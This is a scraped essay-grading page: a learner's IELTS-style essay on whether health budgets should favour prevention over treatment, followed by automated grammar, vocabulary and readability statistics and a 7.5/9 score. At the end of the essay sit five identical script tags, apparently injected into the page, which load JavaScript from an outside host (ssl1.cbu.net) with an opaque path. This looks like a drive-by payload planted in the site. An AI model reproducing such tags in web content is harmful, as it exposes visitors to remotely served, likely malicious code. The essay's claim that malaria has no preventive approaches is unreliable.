"Prevention is better than cure." Out of a country's health budget, a large proportion
should be diverted from treatment to spending on health education and preventative
measures. To what extent do you agree or disagree with this statement?
Presently, the proliferation of funding prevention is noticeable. Some people support the idea that curing fund should be properly placed on other factors, leading to a balancing development in a country. Nonetheless, from my perspective, I partly concur with this viewpoint.
On the one hand, there is mounting evidence that funding treatment hold merit. When it comes to diseases such as malaria or dengue, there is no preventative approaches in advance, requiring treatment and proper solutions. Take an example of Covid-19 epidemic, it is evident that researchers and governments had to exert their best to handle with this sudden disease. Similarly, treatment embodies the improvement of medical field, leading to opportunities for jobs and future career for medical enthusiasts. Additionally, available treatment ensure social well-being, due to the fact that whenever residents is on the demand of, they could be treated in time, which is also a basic human right.
On the other hand, there is every likelihood that prevention also brings positive sides. Regarding human bodies, research has pointed out that the more patients endure from treatment, the more detrimental effects are on themselves. Moreover, in reference to ailments such as diabetes or cardiovascular, individuals could definitely get rid of with proper approaches, such as reducing the amount of salt and sugar daily. Furthermore, social well-being is also benefited from prevention. A substantial amount of money will be spent on other sectors, especially education and economy, ensuring the whole society. To illustrate, funding education is synonymous with propaganda and raising the awareness of people about the possibilities of unhealthy habits, keeping them informed about adopting a healthy lifestyle.
In conclusion, curing treatment is undoubtedly advantageous in terms of contagious diseases and human rights, while prevention also brings public awareness and financial problems. Hence, governments should maintain both types of medical, and people also should adopt healthy lifestyles to get a better life.<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
| Post date | Users | Rates | Link to Content |
|---|---|---|---|
| 2025-06-24 | myahh | 84 | view |
| 2022-12-30 | Surendr | 78 | view |
| 2021-04-12 | adish123 | 89 | view |
| 2019-12-07 | Aman.Kansal1234 | 73 | view |
| 2019-10-28 | Ahmed Shehata | 73 | view |
- some people find advertisements amusing or annoying and they are not influenced by this when they shop Do you agree or disagree
- Prevention is better than cure Out of a country s health budget a large proportion should be diverted from treatment to spending on health education and preventative measures To what extent do you agree or disagree with this statement 84
Grammar and spelling errors:
Line 2, column 240, Rule ID: EN_GB_SIMPLE_REPLACE
Message: I is a common American expression, in British English it is more common to use: I
Suggestion: I
...ntry. Nonetheless, from my perspective, I partly concur with this viewpoint. O...
^
Transition Words or Phrases used:
also, furthermore, hence, if, moreover, nonetheless, regarding, similarly, so, thus, well, while, in conclusion, such as, on the other hand
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 16.0 13.1623246493 122% => OK
Auxiliary verbs: 6.0 7.85571142285 76% => OK
Conjunction : 11.0 10.4138276553 106% => OK
Relative clauses : 8.0 7.30460921844 110% => OK
Pronoun: 16.0 24.0651302605 66% => OK
Preposition: 43.0 41.998997996 102% => OK
Nominalization: 18.0 8.3376753507 216% => Less nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 1792.0 1615.20841683 111% => OK
No of words: 313.0 315.596192385 99% => OK
Chars per words: 5.72523961661 5.12529762239 112% => OK
Fourth root words length: 4.20616286096 4.20363070211 100% => OK
Word Length SD: 3.09387270278 2.80592935109 110% => OK
Unique words: 193.0 176.041082164 110% => OK
Unique words percentage: 0.61661341853 0.561755894193 110% => OK
syllable_count: 550.8 506.74238477 109% => OK
avg_syllables_per_word: 1.8 1.60771543086 112% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 3.0 5.43587174349 55% => OK
Article: 3.0 2.52805611222 119% => OK
Subordination: 2.0 2.10420841683 95% => OK
Conjunction: 1.0 0.809619238477 124% => OK
Preposition: 7.0 4.76152304609 147% => OK
Performance on sentences:
How many sentences: 16.0 16.0721442886 100% => OK
Sentence length: 19.0 20.2975951904 94% => OK
Sentence length SD: 44.0521264385 49.4020404114 89% => OK
Chars per sentence: 112.0 106.682146367 105% => OK
Words per sentence: 19.5625 20.7667163134 94% => OK
Discourse Markers: 8.6875 7.06120827912 123% => OK
Paragraphs: 4.0 4.38176352705 91% => OK
Language errors: 1.0 5.01903807615 20% => OK
Sentences with positive sentiment : 9.0 8.67935871743 104% => OK
Sentences with negative sentiment : 3.0 3.9879759519 75% => OK
Sentences with neutral sentiment: 4.0 3.4128256513 117% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.188921109833 0.244688304435 77% => OK
Sentence topic coherence: 0.058214836244 0.084324248473 69% => OK
Sentence topic coherence SD: 0.0236155808038 0.0667982634062 35% => Sentences are similar to each other.
Paragraph topic coherence: 0.115882040111 0.151304729494 77% => OK
Paragraph topic coherence SD: 0.0184816300163 0.056905535591 32% => Paragraphs are similar to each other. Some content may get duplicated or it is not exactly right on the topic.
Essay readability:
automated_readability_index: 15.3 13.0946893788 117% => OK
flesch_reading_ease: 35.27 50.2224549098 70% => OK
smog_index: 8.8 7.44779559118 118% => OK
flesch_kincaid_grade: 13.1 11.3001002004 116% => OK
coleman_liau_index: 15.95 12.4159519038 128% => OK
dale_chall_readability_score: 10.28 8.58950901804 120% => OK
difficult_words: 113.0 78.4519038076 144% => OK
linsear_write_formula: 8.5 9.78957915832 87% => OK
gunning_fog: 9.6 10.1190380762 95% => OK
text_standard: 9.0 10.7795591182 83% => OK
What are above readability scores?
---------------------
Rates: 84.2696629213 out of 100
Scores by essay e-grader: 7.5 Out of 9
---------------------
Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.